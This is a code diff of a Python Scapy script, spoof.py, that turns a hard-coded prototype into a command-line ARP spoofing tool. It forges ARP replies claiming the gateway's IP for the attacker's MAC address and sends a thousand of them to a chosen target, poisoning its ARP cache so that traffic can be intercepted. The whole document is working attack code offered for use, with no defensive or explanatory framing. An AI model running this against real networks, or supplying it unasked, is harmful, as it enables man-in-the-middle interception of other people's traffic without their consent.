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spoof.py

@@ -1,31 +1,46 @@
-import scapy
+import sys
+from scapy.all import (
+    get_if_hwaddr,
+    getmacbyip,
+    ARP,
+    Ether,
+    sendp
+)
 
-from scapy.all import *
+try:
+    my_mac = sys.argv[1]
+    interface = sys.argv[2]
+    my_ip = sys.argv[3]
+    target_ip = sys.argv[4]
+    target_mac = sys.argv[5]
+except:
+    print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
+    exit()
 
-"""
-# GET MAC ADDRESS
-def get_mac_address():
-    my_macs = [get_if_hwaddr(i) for i in get_if_list()]
-    for mac in my_macs:
-        if(mac != "00:00:00:00:00:00"):
-            return mac
-my_mac = get_mac_address()
-if not my_mac:
-    print "Cant get local mac address, quitting"
-    sys.exit(1)
-"""
-my_mac =  # MY MAC
+ether = Ether()
+ether.src = my_mac # Default: network card mac
 
-# REQUEST Host_Target & Host_Impersonation
+arp = ARP()
+arp.psrc = my_ip
+arp.hwsrc = my_mac
 
-"""
-target = raw_input("Enter host target: ")
-impersonation = raw_input("Enter host to impersonate: ")
-"""
-target =  # TARGET MAC
-impersonation =  # IMPERSONATION MAC
+arp = arp
+arp.pdst = target_ip # Default: 0.0.0.0
+arp.hwdst = target_mac # Default: 00:00:00:00:00:00
 
-# CRAFT & SEND PACKET
+ether = ether
+ether.src = my_mac
+ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
 
-packet = 'Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", hwsrc='+my_mac+', psrc='+impersonation+', pdst='+target+')'
-sendp(packet)
+def craftRequestPkt():
+    packet = ether/arp
+    sendp(x=packet, inter=1, count=1000)
+
+def craftReplyPkt():
+    arp.op = 2
+    packet = ether/arp
+    sendp(x=packet, inter=1, count=1000)
+
+
+if __name__ == '__main__':
+    craftReplyPkt()